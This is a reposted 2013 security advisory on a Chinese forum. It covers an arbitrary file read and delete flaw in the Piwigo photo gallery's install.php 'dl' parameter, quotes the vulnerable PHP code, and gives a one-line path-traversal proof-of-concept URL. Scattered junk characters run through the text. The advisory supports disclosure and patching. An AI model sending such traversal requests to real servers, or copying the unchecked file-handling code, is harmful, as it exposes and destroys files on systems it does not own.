找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2356|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。
) M# }1 G2 i  H$ _" `5 Q
: D& u! i. ?) W1 b+ ^4 Z$ a$ P) ~! wPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。& P* `* k7 |6 M
====================================================================
, l3 J) J! l% t  N/install.php:2 B$ {; v& }* O2 w, w
-------------
; Q. G/ g: k9 k8 [* E( K: M113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
. P, M$ a" ]' ^9 `+ d6 [" u, M. K114: {
* N/ Q$ K8 K& T. g* C4 m115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];% d: p9 V8 d+ |4 m0 [3 J7 E, C
116:   header('Cache-Control: no-cache, must-revalidate');. H1 |- @9 J9 Q7 l7 X- F
117:   header('Pragma: no-cache');2 H+ h0 F4 t! r/ o2 R( d% q
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
; c7 B+ T& N( u+ L4 W; J  X119:   header('Content-Transfer-Encoding: binary');/ A; \! g& b: {1 R8 h9 b4 d
120:   header('Content-Length: '.filesize($filename));" f: X( U/ f0 G1 o
121:   echo file_get_contents($filename);- |; Y$ C) N8 [0 G. D) P% H% z
122:   unlink($filename);
5 A) I% j# p7 t& ^  P) a123:   exit();
) F( w, K9 w& D2 t" C1 n& Y& {124: }
8 n" A5 k! D: s! C2 ?" O' U* ~====================================================================: W% l" s( Z! Q9 }3 ?

6 ?* K" b. G, p! o6 x. C* s" jTested on: Microsoft Windows 7 Ultimate SP1 (EN)4 ?3 V2 w2 Z7 |* u, I6 G) ~
           Apache 2.4.2 (Win32)- c4 S: C, Q* U$ J
           PHP 5.4.4% ~0 w0 m9 k$ i( @1 R( ]7 s0 g
           MySQL 5.5.25a
7 u4 Q& s$ _" ?5 b2 }% I / z- P9 r! E7 n* ~% Y  w/ e2 z* B
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
$ P+ l8 Q1 w, |5 d                            @zeroscience* e5 c4 T7 p5 e5 _  r

: c' }* d8 ?/ A9 J. M3 L6 `4 a" vAdvisory ID: ZSL-2013-5127  e0 D; O* O# I+ y& f( N
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php4 v3 g) H# E/ r& m7 G# p
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
7 o0 l0 A+ N# B# [/ Y
8 K0 P* O. P/ G& U( X15.02.2013
' d1 K$ `0 c, }2 J2 E% x 7 E! H: f/ W# C4 m
--5 L1 d* Q* o) m
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
' k& q5 |: r) p2 t' t; @
+ h/ ]- B( x3 W) L7 M, k$ Q8 c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表